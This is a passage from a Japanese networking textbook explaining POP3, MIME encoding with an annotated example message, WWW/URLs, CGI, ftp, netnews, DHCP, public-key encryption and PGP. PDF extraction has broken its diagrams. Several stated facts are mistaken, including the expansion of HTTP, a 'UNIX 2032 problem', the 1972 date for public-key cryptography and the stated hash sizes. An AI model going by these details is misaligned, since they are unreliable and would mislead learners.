�メール読み出し要求

�

メール読み出し

�

終了要求

必要ならメールをスプールに残す

�

OK 切断

� �

非常にいい加減に書いた, pop3 のプロトコルのやり取りの様子である.pop3 でもメールはスプールに残しておくことが可

能である. 例えば,２台のパーソナル・コンピュータでメールを読み出す場合には, どちらか一方はメールをスプールに残す設定とし, もう一台はスプールから削除する設定にするのが良い. また, 最近のMUA では「Ｘ日以上経過したメールはスプールから削除する」という機能を持つものもあり, そのような機能を利用すると, メール・スプールの管理は便利になる.メール・スプールの管理はユーザの責任であり, その影響はシステム全体におよぶ可能性があること

を知らなければならない.また, 同時に２つ以上の MUA でスプール・ファイルにアクセスすることは出来ない. スプール・ファイルは MTA が受信メールの書き込みを行う場合もありうるため, UNIX 上の MUA や POP3 サーバは, スプール・ファイルに対して, 排他的なファイル・ロックをかけるのが普通である.

3.3.2.5 MIME

電子メールの通信路 (SMTP セッション) は基本的には７ビットデータしか通すことが出来ない. すなわち, ８ビットの情報をメールの通信路に流すと, 最上位ビットが保存される保証はない. したがって, 日本語を含むメールの場合, JIS コードを利用しなければならない. ところが, 仮に JIS コードを利用しても,メール・ヘッダ内には ASCII 文字しか含んではならないという規定があるため, サブジェクトに日本語を書くことが出来ない. また, 画像や音声などのデータはバイナリファイルであるため, テキストファイルを送受信することを前提とした smtp では, これらのファイルをそのまま送ることは出来ない.このような多国語・マルチメディアメールを扱うために提唱された概念がMIME (Multipurpose Internet

Mail Extensions) であり, 電子メールやＷＷＷコンテンツの識別のための符号化やメッセージの構造提供を行っている. MIME の仕様は RFC 2045, RFC 2046 によって定められ, コンテンツのタイプや符号化方法を識別するための MIME ヘッダが規定されている.

MIME ヘッダとして規定されているものは

30UNIX ホストの場合, メール・スプールを NFS でマウントしていれば, 直接ファイルとして読み出すことは可能である.



1. コンテンツタイプ, サブタイプ,

2. コンテンツ符号化形式,

3. コンテンツ識別子

などで, これらは電子メールの内容が何であるかを表す識別子である.

3.3.2.5.1 MIME 符号化メール

Example 3.3.5 ここでは具体的な例を見ることで, 多国語・マルチメディア・メールがどのように構成されるかを見てみよう.


Mime-Version: 1.0

Content-Type: Multipart/Mixed;

boundary="--Next_Part(Fri_Mar__2_16:51:06_2001_542)--"

Content-Transfer-Encoding: 7bit

----Next_Part(Fri_Mar__2_16:51:06_2001_542)--

Content-Type: Text/Plain; charset=us-ascii


This is a test

----Next_Part(Fri_Mar__2_16:51:06_2001_542)--

Content-Type: image/jpeg

Content-Transfer-Encoding: quoted-printable

Content-Disposition: attachment; filename="exire-1024.jpg"

=FF=D8=FF=E0=00=10JFIF=00=01

----Next_Part(Fri_Mar__2_16:51:06_2001_542)--

Content-Type: message/rfc822



Mime-Version: 1.0

Content-Type: Multipart/Mixed;

boundary="--Next_Part(Fri_Mar__2_16:49:54_2001_595)--"


Date: Fri, 02 Mar 2001 16:49:56 +0900

From: Hisashi Naito <[email protected]>

----Next_Part(Fri_Mar__2_16:49:54_2001_595)--

Content-Type: Text/Plain; charset=iso-2022-jp


これはテストです.

----Next_Part(Fri_Mar__2_16:49:54_2001_595)--

Content-Type: application/pdf

Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename="classification.pdf"

JVBERi0xLjINJeLjz9MNCjIgMCBvYmoNPDwNL0xlbmd0aCA3OTc1DS9GaWx0ZXIgL0ZsYXRl

RGVjb2RlDT4+DXN0cmVhbQ0KSImsV8lu5MgR/QL9g46k0apmLtx887Q9RjfQgDEtwEBbPtRC

----Next_Part(Fri_Mar__2_16:49:54_2001_595)----

----Next_Part(Fri_Mar__2_16:51:06_2001_542)----

<--- メールが MIME エンコーディングされていることを示す.

<--- メールは複数のパートに分かれていることを示す.

<--- パートの境界の文字列<--- メールの符号化（７ビット）<--- メールヘッダと本文の境界<--- 第１パートの始まり<--- 第１パートの内容（Plain Text で US-ASCII 文字）<--- 第１パートの符号化（７ビット文字列であること）

<--- 第２パートの始まり<--- 第２パートの内容（jpeg 画像であること）<--- 第２パートの符号化（Quoted-Printable 符号化）<--- 第２パートの記述（添付ファイルであることと, そのファイル名）

<--- 第２パートの内容（Quoted-Printable 符号化されている）<--- 第３パートの始まり<--- 第３パートの内容（RFC822 すなわち電子メール文書であること）<--- 第３パートの符号化（７ビット文字列であること）

<--- メールが MIME エンコーディングされていることを示す.

<--- 電子メール文書は再び複数のパートに分かれている.

<--- パートの境界の文字列<--- 電子メールの符号化（７ビット）

<--- 第３－１パートの始まり<--- 第３－１パートの内容（Plain Text で JIS 漢字コード）<--- 第３－１パートの符号化（７ビット）

<--- 第３－２パートの始まり<--- 第３－２パートの内容（PDF ファイルであること）<--- 第３－２パートの符号化（Base64 符号化）<--- 第３－２パートの記述（添付ファイルであることと, そのファイル名）

<--- 第３－２パートの内容（Base64 符号化されている）

<--- 第３－２パートの終わり

<--- 第３パートの終わり

このメールは通常のメール本文, 添付ファイル（画像）, 他のメールの内容を含む３つのパートから構成されている. 他のメールの内容の部分には, メール本文と添付ファイル（PDF ファイル）を含む, ２つのパートから構成されている.

この例でも分かる通り, MIME 符号化されたメールは, 各パートの内容（タイプ）を表す MIME ヘッダContent-Type と, そのパートの符号化方法を表す Content-Transfer-Encodingが重要な役割を果たし

ている.



コンテント・タイプの一例とその意味

タイプサブタイプ意味

text plain 通常のテキスト charset は文字コードを表す

text html HTML テキスト31

message rfc822 電子メールテキスト

application pdf アプリケーション・ソフトウェアのファイル（PDF ファイル）

application binary アプリケーション・ソフトウェアのファイル（ソフトウェア不明）

image jpeg 画像ファイル（jpeg ファイル）

audio aiff 音声ファイル（AIFF ファイル）

video mpeg 動画ファイル（MPEG ファイル）　

符号化方法

方法意味

7bit ７ビットの US-ASCII 文字列で, １行の長さが制限範囲内8bit ８ビットの非 ASCII 文字列で, １行の長さが制限範囲内binary 非 ASCII 文字列で, １行の長さに制限なしquoated-printable quoated-printable 符号化base64 Base64 符号化

Base64, Quoated-printable 符号化とは, バイナリファイルをテキストファイルに符号化する方法であり,Base64 は６ビットごとに ASCII 文字を割り当てていく方法, Quoated-pritable は非印字可能文字を=0D

のように = の後にそのコードの１６進数を記述したものであり, ともに符号化・復号化は極めて易しい.通常 MUA は Content-Type, Content-Transfer-Encodingにしたがって, 自動的に MIME エンコー

ディングを復号化してユーザに表示する. もし, MUA が自動的に MIME 復号化をしない場合には, 上の例のように “boundary” を調べて, 各パートに分割してから, Base64 または Quoated-printable 復号化プログラムに通せば良い.近年, セキュリティを保つため, 公開鍵暗号を用いた電子メールの暗号化や, 電子メールに電子署名をつ

けると言った技術が広く使われているが, 暗号化電子メールも Multipart/Encryptedという MIME 符号化メールとして扱われる.

3.3.2.5.2 サブジェクトの MIME 符号化メールヘッダに非 US-ASCII 文字を埋め込む場合, すなわち, サブジェクトに日本語をいれるような場合には, 上のような MIME 符号化によるカプセル化を行うことは出来ない32. そのため, ヘッダ部分の MIME 符号化は RFC 2047 で別に定められている. 基本的にはBase64 符号化を行うが, その記述形式がメール・ボディ部分とは異なっている.

3.3.2.6 パーソナル・コンピュータの MUA の設定方法

パーソナル・コンピュータでメーラを設定する場合の設定内容の意味を調べてみよう.

電子メールアドレス当然だが, 自分の電子メールアドレスを入力する.

31Microsoft Outlook Express などのユーザは, 意識せず常に HTML パートを含むメールを出していることがある. 世の中のMUA は必ずしも HTML パートの表示をデフォールトにしているわけではないので, このようなメールを出されるのはいい迷惑である.

32だって, Subject を複数行に渡らせることは出来ないから...



メールサーバ SMTPサーバ,送信用サーバと表している MUAもある. パーソナル・コンピュータの MUAは, 非常に小規模の MTA 機能をもち, 送信すべきメールを smtp を利用して, メール・サーバに転送要求を出すものが多い.

ここに設定するのは, 自分のドメインのメール・サーバ.

POP サーバ受信用サーバと表している MUA もある. 自分宛のメールがスプールされていて, POP3サーバとなっているものを指定する.

なお, 後に述べるセキュリティ上の理由から, 受信したメールに添付されている「添付ファイル」を自動的に表示・実行するような設定は行わない方が良い.

3.3.2.7 その他の問題

ここでは電子メールに関連するいくつかのセキュリティ以外の問題を解説する. ただし, セキュリティなどに関する問題は, 後にまとめて解説する.

3.3.2.7.1 ２０００年問題コンピュータ上には日付情報を含む各種の情報が記述してある. 西暦１９００年代では, コンピュータ上の日付情報は西暦の下２桁を利用して表現していたソフトウェア・ハードウェアがいくつか存在していた. しかし, ２０００年代に入り, 西暦の下２桁だけを利用すると, １９９９年は“99”であるが, ２０００年を与えるために “00”とせざるを得ない33. したがって, 日付情報（タイム・スタンプ (time stump呼ぶ）を元に制御を行っているもの, 例えば, 経過時間を計算したり, タイム・スタンプを元に依存関係を調べたりするものは, その制御が狂ってしまう. このような一連の問題を２０００年問題(Year 2000 Problem, Y2K) と呼び, １９９０年代後半から大きな話題になっていた. この他にも, GPS(Global Positioning System: 人工衛生を使った, 地球規模の位置情報システム) の週制御の問題, UNIX の２０３２年問題など, 日付情報フィールドのフォーマットに関わる問題は, 依然数多く存在している.電子メールに関わる２０００年問題は,電子メール・ヘッダに書かれる dateフィールドの関連する. date

フィールドは, 電子メールの MUA dispatcher が付加するフィールドで, MUA が動作するコンピュータのカレンダ・タイマ (calendar timer) および, タイム・ゾーン (time zone) から決定され, 以下のような形式をとる.

Date: Thr 03 Apr 97 11:38:05 +0900

この中で問題となるのは, 西暦の下２桁を表す部分で, これが２０００年以後の場合,

Date: Sun 01 Jun 00 11:38:05 +0900

となる. 電子メールの MUA は到着したメールを date フィールドを元に並び替える機能を持つが, このような西暦下２桁の表示では, 発信時刻順に正しく並び替えることは出来ない.そこで, 電子メールに関する RFC 1123 （１９８９年）では,

The syntax for the date is hereby changed to:

date = 1*2DIGIT month 2*4DIGIT

All mail software SHOULD use 4-digit years in dates, to ease

the transition to the next century

とあり, さらに, RFC 2626 (The Internet and the Millennium Problem, １９９９年) には,

33これを “100” と表現できるのであれば, 何も問題は生じないと言っても良い.



3.3 ‘‘Electronic Mail’’

After reviewing all mail-related RFCs, it was discovered that while

some obsolete standards required two-digit years, all currently used

standards require four-digit years and are thus not prone to typical

Year 2000 problems.

RFCs 821 and 822, the main basis for SMTP mail exchange and message

format, originally required two-digit years. However, both of these

RFCs were later modified by RFC 1123 in 1989, which strongly

recommended 4-digit years.

と書かれている. これは, MUA の時刻順ソート機能に関する規定ではなく, MUA のメール発信機能に関わる規定で, RFC に SHOULD とある規定は,「事実上順守しなければならない」と理解するのが正しい34. さらに, RFC 2626 には “strongly recoomended” と書かれている. しかしながら, 依然として, 「RFC 1123の規定が SHOULD であるので, 西暦は下２桁でもかまわない」という対応をしている MUA も存在するので35, メールの発信時刻によるソートには注意が必要となる.

3.3.2.7.2 MUA の違いに起因する問題最近は, 携帯電話を利用して電子メールを利用することが出来るなど, いろいろと便利な道具が増えているのであるが, このような電子メール利用環境が多様になるにしたがって, 標準化されているはずの電子メール環境にいろいろな問題が生じてきた. それらの多くは MUA（電子メールソフトウェア）に起因する問題が多い.

3.3.2.7.2.1 HTMLメール HTMLメールとは,電子メールの主要部分であるメールの本文を, text/plainと text/htmlの２つのコンテンツ・タイプに同一文書を含んで, マルチ・パートとしたメールの俗称である. Microsoft 社の Outlook Express を代表例とするいくつかの「高機能」な MUA では, ユーザが作成したメール文書を（デフォールトでは）自動的に HTML メールとして作成し, 同じ MUA を利用するユーザ同士であれば, text/plain パートではなく, text/htmlパートをデフォールトで表示する機能を持つ36.このような機能は同じ環境, すなわち同じ MUA を利用するユーザ同士であれば, それなりに便利な機

能37であることは否定しないが, 「インターネット」の電子メール環境は, RFC により標準化され, 異なった MUA を利用しても, 電子メールの交換が可能であることに意味があり, このような相手の MUA を仮定する電子メールは（たとえ RFC の規定に反していなくても）, 不必要なデータをネットワーク上に流すことになるので, 常に標準的な環境で電子メールを使うことの必要性を考えて MUA の選択をしなければならない.また, 画像情報などの標準化されたフォーマットのファイルを添付ファイルとする場合でも, 相手の環境

によっては必ずしも添付ファイルを表示できる環境かどうか分からない. さらに, 特定のアプリケーションが作成したファイルを添付ファイルにして, 電子メールで送付した場合, 相手が同一のソフトウェアを持っていない限り, その添付ファイルを開くことは出来ない. 近年, むやみやたらに各種の添付ファイルを電子メールで送ることが多いが, 相手がその添付ファイルを開くことが出来るかどうかを確認して, 必要最小限のものだけを送ることが重要である.

34RFC において MUST とあるときには, 「必ずこの規定に従わなくてはならない」と読む.35だいたい, この手の対応をするものは大メーカのものが多く, フリー・ソフトウェアほど RFC への対応が良い. この手のソフトウェアは可能な限り使わない方が良い.

36極端な場合, text/plain パートがなく, text/html パートだけを作成する MUA もある.37だって, HTML 文書なら, 文字に色をつけたり, 文字を大きく表示させたりできるからね.



3.3.2.7.2.2 携帯電話などの MUA 携帯電話などの電子メール環境では, 受け取ることの出来る文字数（バイト数）に制限がついていることが多い. 携帯電話などの超小型移動端末では, 利用できるメモリ量に制限があり, そのために受信可能文字数に制限がついていると考えられる. このような文字数制限は発信時にも課せられるため, 携帯電話同士の電子メールなどでは問題は生じないが, 通常の MUA から発信されたメールを携帯電話で受信する場合に問題が生じる.携帯電話から通常の MUA を利用しているユーザに対してメールを書いた場合, 受け取ったユーザは返

信を書く際には, 相手が携帯電話かどうかを判断しなければならず, さらに, 「携帯電話なのでＸＸＸＸ文字以内でお願いします」といっても, その文字数（バイト数）以内に返信が収まるかどうかわからない38.したがって, 携帯電話を利用して電子メールを利用するユーザは, その返信に対して, 全体を受信できない可能性を認識し, 携帯電話のような特殊な MUA を使う利用者自身が, その機能制限の意味を理解し, 利用上の責任を負わなければならない39.

3.3.3 WWW

WWW (World Wide Web) とは, （基本的には）ハイパーテキスト (hypertext) で書かれたネットワーク上のリソース（資源）を提供する機構である. ハイパーテキスト40とは, そのテキスト中に他のテキストへのリンク (link) があり, 単にテキストの羅列ではなく, 全体が相互に網の目 (web) 状にリンクで結ばれているものである.

3.3.3.1 WWW のプロトコル

WWW を実現しているプロトコル, すなわち, ハイパーテキストの転送に用いられるプロトコルは, http(HyperText Transformation Protocol) と呼ばれ, 80/tcp を用いる. (RFC 1945, RFC 2068) また, httpプロトコルで用いられるハイパーテキストを記述する言語は, HTML (HyperText Markup Language) と呼ばれ, W3C (World Wide Web Consortinum) で標準化されている.他の多くの TCP プロトコルが, 該当するアプリケーションの実行中はコネクションを確保しながら通信

を行うのに対して, http は, ステートレスと呼ばれる, 呼び出し時点で毎回コネクションを確立することにより, データの転送を行うことが大きな特徴となっている.

3.3.3.2 URL

http プロトコルを用いたハイパーテキスト・リソースの「インターネット」状の場所の特定のために用

いる表現を, URL (Universal Resource Locators)と呼び, RFC 1630で規定されている. URL の一般的な書式は,

<scheme>:<scheme-specific-part>

と書かれ, <scheme> には, そのリソースを利用するためのプロトコルが指定される.

38もちろん, 「ＯＫ」などという返信であれば明らかなのだが...39要するに, 返信内容として数行を期待しているのだろうが, 返信を書く方にとっては, そのようにはならないこともありうるので,

「返信はＸＸＸＸ文字以内でお願いします」なんて書かれても困るし, さらに, そんなこと要求する方が間違っているのです.40ハイパーテキストの概念自身は１９４５年に V. Bush によって提唱されています. また, １９８０年頃には B. Atkinson により, ハイパーテキストをカード型データベースと結合した, HyperCard というソフトウェアもありました. WWW の概念は１９８９年に CERN（ヨーロッパ加速機機構）の Tim Berners-Lee によって開発され, １９９３年グラフィカルなブラウザ NCSA Mosaicon X Window System の登場で, WWW は一気に爆発していきます.



代表的な <scheme>

scheme 内容

http ハイパーテキスト転送プロトコル

ftp ファイル転送プロトコル

telnet インタラクティブ・セッション

mailto 電子メールアドレス

nntp ネットワークニュース転送プロトコル

file ホスト内のファイルを読み出す

この中で mailto 以外は <scheme-specific-part>として, 以下の形式をとる.

//<user>:<password>@<host>:<port>/<url-path>

<user> プロトコルを利用するためのユーザ名（オプション）

<password> プロトコルを利用するためのパスワード（オプション）

<host> プロトコルでアクセスするホストの FQDN または IP アドレスfile を用いる場合以外は必須

<port> 接続するポート番号

デフォールトでは各プロトコルのデフォールト・ポート番号

<url-path> <scheme> に依存したオブジェクトの位置

Example 3.3.6 http://www.math.nagoya-u.ac.jp:8001/

は http で www.math.nagoya-u.ac.jpの 8001 番 TCP ポートにアクセスし, http サーバに対して / と

いうオブジェクトの転送を要求するための URL である.

ちまたでは, この URL のことを「ホームページアドレス」と呼ぶことが多いが, これは明らかな用語の誤用であり, 「インターネット」の正式な各種の文書中には一切このような言葉はでてこない.

3.3.3.3 WWW ブラウザ

HTMLを用いて記述されたハイパーテキストを, RFCにしたがって表示するアプリケーションをWWW

ブラウザ（ウェブ・ブラウザ）と呼ぶ. HTML ではハイパーテキスト中に画像を埋め込んだり, 文字の大きさを変えたりするための仕様が定義されているが, それらをどのように表示するかはブラウザに依存している. 文字の大きさを一例にすれば, HTML 文書内では「文字を大きくする」とか「文字を強調文字にする」という属性を指定できるが, 具体的にどのような大きさの文字を表示するか, 強調文字はどのようなフォントを用いるかはブラウザの設定に依存している. さらに, ハイパーテキスト中に埋め込んだ画像（インライン画像）として, どのような画像フォーマットのファイルが利用できるかさえもブラウザ依存である4142.

3.3.3.4 WWW における MIME タイプ

http では転送される文書はハイパーテキストでなくてもよい. 実際, HTML 文書内に埋め込んだインライン画像を転送する場合にも http を用いるので, http サーバは, 転送要求のあったリソースがどのような種類のもので, どのようなフォーマットになっているかを, ブラウザに対して知られることが必要となる.そのために用いられるのが, （電子メールの章で解説した） MIME タイプである. すなわち, http サーバ

41実際には, インライン画像が表示可能なブラウザであれば, jpeg または gif フォーマットであれば表示可能であることが多い.42したがって, HTML 文書を作成する場合には, 極力ブラウザ依存性を排除したものを作成すべきである.



は転送要求のあったリソースがハイパーテキスト文書であるときには, クライアント（多くの場合ブラウザ）に対して, リソースのコンテンツタイプを同時に転送する. それによって, ブラウザは設定ファイルを等を参照することにより, 適切な表示方法を選択し, （可能であれば）画面などに表示を行う.一方, httpサーバは, 転送要求があったリソース（通常はファイル）のファイルの拡張子43を用いて, ファ

イルのコンテンツタイプを決定する機能を持っている44.したがって, 特定のブラウザを使った, 特定の仲間内で利用する URL 内では, 特定のアプリケーション

のファイルなどを, 適切なファイル・コンテンツタイプを記述することにより, 相互にブラウズすることも技術的には可能である.

3.3.3.5 CGI

CGI (Common Gateway Interface) とは, HTML で記述されたフォーム (form) と呼ばれる形式の入力を http サーバが受け取り, http サーバ内で適切な処理をして, 結果を HTML で出力する一連の手順またはそのソフトウェアのことを指す.

CGI はサーバ側の資源を利用して処理を行うため, 適切に設定しないとサーバ側にセキュリティ・ホールを構成する可能性もあるが, CGI が有効に使われている例として, いわゆる「検索エンジン」と呼ばれるウェブページが多数存在する. これは, 世界中に散らばる多くの HTML 資源を順にたどり, そのデータベースを構築し, CGI を用いたデータベース検索エンジンを用いて, ウェブページのキーワードによる検索をおこなうものである. 検索エンジンでは, データベースを構築するために「ロボット」と呼ばれるプログラムにより, 各地の HTML ファイル内容から順にリンクをたどることにより, 世界中の HTML 資源に到達させる仕組みを用いている45.

CGI はウェブページの可能性を広げた, 非常に有効なツールであるが, セキュリティの問題の他に, CGIを適切に書かないと, 特定のプラットフォーム上のブラウザしか正しく表示が出来なかったり, ウェブブラウザやプロキシ・サーバのキャッシュにより, 正しく動作しなかったりすることが多い.

3.3.4 telnet

telnetとは「インタラクティブ・セッション」と呼ばれる, ネットワーク経由でホストの仮想端末を利用する方法である. (telnet プロトコルは 23/tcp を利用する. ) telnet を用いることにより, 遠隔地にあるUNIX ワークステーションを, 手元の UNIX ワークステーションやパーソナル・コンピュータから利用することが出来る. しかしながら, telnet は文字ベースの仮想端末しか提供しないため, GUI は利用できない.

3.3.5 ftp

ftp とは File Transfer Protocol と呼ばれ, 遠隔地の／にファイルを転送する機能を提供する. 通常は,そのホストにある自分のファイルを転送するために用いるため, 認証を必要とするが, フリーソフトウェアの配布のためなどに, 不特定多数のアクセスを制限付きで許すアノニマス ftp サーバ (anonymous ftpserver) と呼ばれるものが世界中に存在している.ftp のプロトコル仕様は単純ではなく, ２本の TCP 通信路を利用するため, 内向きにフィルターの掛っ

たファイアーウォールを通過するためには, パッシブ・モードと呼ばれる ftp 転送を用いなければならない.43.html とか .jpeg と言った, 末尾に付けられた, 便宜的なファイル名のおまけの部分.44少なくとも, 過去に良く利用されていた NCSA httpd, CERN httpd や現在広く利用されている Apache http server などは,このような機構でファイル・コンテンツタイプをきめている.

45ロボットに検索をされては困るページなどは, 適切な設定ファイルを書くことにより, ロボットがそのページをデータベースに含めないといった「約束ごと」が存在するが, 世の中にはたちの悪いロボットも多く, この手の設定ファイルは無視されることが多い.



3.3.6 ネットワークニュース

ネットワークニュース (network news) とは, 階層的に分割されたニュース・グループにからなる, 不特定多数によるメッセージ交換のシステムである. ネットワーク・ニュースは, ニュース・グループごとに決まった話題を議論するために用いられ, 多くの情報がやり取りされている46.ネットワーク・ニュースを転送するためのプロトコルを nntp (Network News Transfer Protocol) と呼

び, 119/tcp を用いる. ネットワーク・ニュースは特定のサーバに蓄積されているものではなく, 世界中のニュース・サーバの間で, 互いに「購読しているニュース・グループ」の不足しているファイルを交換することで, 各サーバにニュースが蓄積していく. 例えば, あるニュース・グループへ投稿 (post) された記事(article) は, そのときに利用していたニュース・サーバに蓄積され, 定期的に行われるサーバ同時のデータ交換の時間になると, 近隣の（データを交換する）サーバへ投稿した記事が転送されていく. したがって,世界中のニュース・サーバへ記事が伝達されるにはそれ相応の時間が必要となる.一般にはニュース・サーバは不特定多数からアクセス可能であるが, ローカル・ニュース・グループと呼

ばれる, そのサーバ独自のニュース・グループや, ごく少数のサーバ同士で交換されるニュース・グループもあり, そのようなもグループには, 不特定多数のユーザはアクセスできないことが多い. また, ニュース・グループは（一般には）誰でもが作成要求を出せるわけではなく, 各ニュース階層ごとに決まったモデレータ (modelator, 司会者) が適切な条件の元にニュース・グループを作成し, 各サーバにはモデレータ権限によるグループ作成命令が届いたときのみ, サーバ上に新規ニュース・グループが作成される.

Example 3.3.7 fj.sci.mathは日本語で数学に関する議論を行うニュース・グループである. fj ニュース・グループは, 日本国内のみに配信されるのではなく, 利用言語が日本語という意味を持ったニュース・グループである.

3.3.7 DHCP

DHCP (Dynamic Host Configuration Protocol) は, これまでのプロトコルと異なり, ユーザに対してサービスを行うのではなく, ホストに対してサービスを行う.

3.3.7.1 DHCP の機能

ネットワーク上にホストを接続する場合には, 世界中で一意的な IP アドレスを割り当てなければならない. しかし, ノート・パソコンの普及や, IP アドレスの不足に伴って, LAN 内に接続するノート・パソコンすべてに IP アドレスを割り当てることが出来なくなってきている. そのため, ノート・パソコンのような,常時は接続しないホストに対しては, 一定時間だけ特定の IP アドレスを割り当てて, そのホストがネットワークから切り放された後は, 他のホストがその IP アドレスを利用できるようにすることが望ましい. これを実現するプロトコルが dhcp である.元々は, bootp と呼ばれる, ホストの各種のネットワーク設定（IP アドレスやサブネットマスク等. 極

端な場合, ネットワーク上のディスクからブートを行うための手順）を, サーバ・ホストで一元管理するために利用されてきたプロトコルがあり, dhcp は bootp をより高度に拡張したプロトコルである. dhcp も

bootp も, 67/udp, 68/udp という同じポート番号を用いる.dhcp では, 不特定多数のコンピュータに対して, 利用して良い IP アドレス, LAN のサブネット・マス

ク, LAN のデフォールトの経路, DNS サーバアドレス等を提供することができ, そのうちのどの情報を用いるかは dhcp クライアント・プログラムの機能によって異なる.

46ネットワーク・ニュースを見るためには, nntp に対応したニュース・ブラウザが必要となる.



3.3.7.2 DHCP の問題点

dhcp では不特定多数のコンピュータに対して, 自動的に IP アドレスを割り当てるため, LAN に物理的に接続することが可能であれば, どのようなコンピュータでも LAN を利用することが出来る. これは便利な反面, 非常に危険でもあり, 誰でもが勝手にネットワークを利用できることとなるため, 今日では, dhcpにより IP アドレスをもらうことが出来るコンピュータを, MAC アドレスを用いて制限する機能を持ったDHCP サーバも登場している.

3.3.7.3 DHCP の詳細

ここでは LAN に接続したコンピュータが DHCP で IP アドレスの割り当てを受ける流れを見てみよう.

DHCP server DHCP client

�IP ア

ドレスの要求

�

IP アドレスの割り当て

�

一定時間後

IP アドレス利用延長要求

�

OK

� �

はじめの「IP アドレスの要求」では, クライアントには IP アドレスがないので, IP アドレスは255.255.255.255 という Ethernet ブロードキャストで, LAN 上のすべてのホストにパケットを送信する.それを受け取った DHCP サーバは「IP アドレスの割り当て結果」を返し, クライアントはその IP アドレスを自身のアドレスとして設定する. （実際には, この時点で, 数度の細かいやり取りが行われる.）IP ブロードキャスト・ドメイン内に複数の DHCP サーバがあると,この段階で, どのサーバからの割り当て結果を利用するかをクライアントが決定する. したがって, IP ブロードキャスト・ドメイン内に複数の DHCP サーバがあると,思わぬ結果を招くことがある.サーバによってきめられた一定時間後には, クライアントは「自身がまだネットワークを利用すること」をサーバに伝えて, IP アドレスの利用を延長する. この時間内に「延長願」が来ないと, サーバはその IP アドレスを他のホストに割り当てることが出来る. （DHCP クライアントの実装にバグがあり, この手続きが正常に行われないものがある. ）

3.3.8 暗号化通信

Ethernet に代表されるようなコンピュータネットワークの通信では, 通信内容はデータがそのまま通信路に載せられる. すなわち, 通信を何らかの方法で「盗聴」することにより, 通信内容は容易に盗み見ることが可能である. 特に Ethernet のような CSMA/CD 方式のネットワークでは, ネットワーク上ある他のホストで通信データをすべて受信することが可能である. また, 遠隔地のホストと通信を行うためには, いくつものネットワーク・ルータを通過することとなるが, それらのルータではそこを経由するデータを容易に盗聴可能である. そのため, 近年はネットワーク上を流れるデータを「暗号化」することにより, データへの不正なアクセスを防ぐ試みがなされている.

3.3.8.1 公開鍵暗号系

通常暗号通信というと, 送信者と受信者が一つの「鍵」を共有し, その鍵をもとにデータの暗号化を行うことが想定される. このような送信者と受信者が同じ鍵をもとに暗号を構成する体系を古典暗号系と呼ぶ.しかし, コンピュータネットワークのように不特定多数との通信では, そのための鍵をお互いに交換する仕



組みをどのように導入するかが大きな問題となっている. そのために１９７２年に開発されたアイデアが公開鍵暗号系という暗号体系であり, 公開鍵暗号系では, 各暗号系ユーザは「公開鍵」と「秘密鍵」と呼ばれる２つの鍵をもち, 「公開鍵」を不特定多数に公開する. この時, ユーザ A がユーザ B と通信したい場合には, ユーザ A はユーザ B の「公開鍵」を用いてデータを暗号化してユーザ B に暗号化データを送信する. 暗号化データを受け取ったユーザ B は自身の「秘密鍵」を用いてデータを復号化する. この時,「公開鍵」は不特定多数が知っているため,「公開鍵」から「秘密鍵」を容易には類推できないことと,「秘密鍵」が無ければ「公開鍵」からだけではデータを復号化出来ないことがシステムが成立するための条件となる.このような暗号体系は本当に存在するのかが問題となるが, 現在では RSA 暗号や離散対数暗号といっ

た, 代数学の知識をもとにした公開鍵暗号系がいくつも考えられている. これらの暗号系の強度, すなわち,「公開鍵」から「秘密鍵」を類推できない程度を保証することは難しく, 現在では代数学をもとにしたこれらの研究が盛んに用いられている.なお, 公開鍵暗号系では, データの暗号化・復号化の計算に時間が掛るため, 実際に利用される暗号通信

では, 古典暗号系の鍵を交換するために公開鍵暗号を用い, 実際のデータ通信を行う場合には, そこで交換した鍵をもとにした古典暗号系を用いるのが普通である.

3.3.8.2 電子署名

一方, データを暗号化しても, そのデータ自身が送信者自身が作成したものであるとの保証をすることは出来ない. なぜなら, ユーザ C がユーザ A になりすまし, ユーザ B の「公開鍵」を利用してユーザ B にデータを送信しても, ユーザ B はそのデータが本当にユーザ A から送信されたものかどうかを知ることは出来ない. データを本当に発信者が出したものかどうかを知るために考えられたものが電子署名である.電子署名は, 公開鍵暗号系を逆に利用することで容易に実現可能である. すなわち, ユーザ A がユーザ B

にデータを送信する際に, 送信データを自身の「秘密鍵」で暗号化し, 本来のデータとともにユーザ B に送付する. ここで「秘密鍵」で暗号化したデータを「電子署名」と呼ぶ. データを受け取ったユーザ B は「電子署名」をユーザ A の「公開鍵」で復号化し, 本来のデータと比較することによって, それが一致すればデータはユーザ A から送付されたことを知ることが出来る. すなわち, ユーザ A の「秘密鍵」にアクセスすることが出来るユーザは A のみに限られていることを利用する.実際に電子署名を用いるときには, データ全体の暗号化データを送るのではなく, データのハッシュ値と

呼ばれる数値を作成し, ハッシュ値を暗号化することで電子署名とすることが多い. ここで, ハッシュ値とは, データから生成される大きな数値47のことであり, データを変更した場合, 同じハッシュ値を得ることが困難である関数48を用いて生成される.

3.3.8.3 暗号化通信と電子署名の実際

暗号化通信と電子署名は, 以下のように, 現在幅広く用いられている.

1. 電子メールの暗号化に用いられる PGP (Pritty Good Privacy).

PGP は RSA 暗号を用いた公開鍵暗号で電子メールの暗号化と電子署名を実現する方法である. この場合,「ユーザ」に対応するものは, 電子メールのユーザであり, 電子メールアドレスごとに鍵を持つ. 実際の PGP での暗号化の流れは以下のようになる.

(a) 【前提条件】メールの送信者・受信者はお互いの「PGP 公開鍵」を持っている.

47６４バイトまたは１２８バイト程度.48このような関数を一方向性関数と呼ぶ.



(b) 【暗号化と署名】送信者は受信者の公開鍵でメールの暗号化を行い, 送信者自身の秘密鍵で暗号化したメールに対して署名を行う.

(c) 【復号化と署名の検証】メールを受信した受信者は, 受信者自身の秘密鍵で暗号化メールの復号化を行い, 送信者の公開鍵を用いて, 復号化されたメールに対する署名の検証を行う.

ここで, 単に暗号化をするだけであれば, 受信者は送信者の公開鍵を知っている必要はなく, 単に署名を行うだけであれば, 送信者は受信者の公開鍵を知っている必要はない. このことを利用して, フリーソフトウェアを配布する際や, 不特定多数へ電子メールを送信する際には, その正当性を保証するために, 署名部分のみを分離して公開する方法を用いることができる.

2. ホストへの通信を暗号化する SSHSecure Shell).

